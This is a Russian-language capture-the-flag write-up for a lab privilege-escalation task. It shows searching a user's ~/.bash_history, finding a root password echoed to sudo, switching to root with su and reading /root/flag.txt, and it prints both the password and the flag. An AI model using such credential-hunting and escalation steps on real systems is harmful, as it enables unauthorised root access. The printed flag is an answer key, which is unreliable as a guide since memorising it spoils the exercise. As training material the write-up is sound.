

# Privilege-Escalation-9 Креатив

Ты застрял в режиме выживания на сервере, но знаешь, что можешь переключиться в креатив, но сервер требует пароль администратора!

**Рекомендуемые утилиты:** ssh, bash

**Цель работы:** Повысить привилегии, чтобы получить доступ к флагу `/root/flag.txt` и прочитать его

**Критерий оценки:** Предоставление правильного флага

## Решение

Проверить, что sudo просит пароль:

```
sudo -l
```

Посмотрим в историю команд:

```
cat ~/.bash_history
```

```
steve@4bbef3cc5b74:~$ cat .bash_history
echo g4m3M0d3Cr3At1Ve | sudo -S id
```

Видим пароль пользователя root прямо в файле.

```
echo g4m3M0d3Cr3At1Ve | sudo -S id
```

Повышаем привилегии с помощью команды, вводя пароль

```
su root
```

```
steve@4bbef3cc5b74:~$ su root
Password:
root@4bbef3cc5b74:/home/steve#
```

Подтверждаем привилегии и прочитываем флаг пользователя root:

```
root@4bbef3cc5b74:/home/steve# whoami
root
root@4bbef3cc5b74:/home/steve# id
uid=0(root) gid=0(root) groups=0(root)
root@4bbef3cc5b74:/home/steve# cat /root/flag.txt
vsosh{pr1vesc_cr34t1ve_h1st0ry}
root@4bbef3cc5b74:/home/steve#
```

## Флаг

vsosh{pr1vesc\_cr34t1ve\_h1st0ry}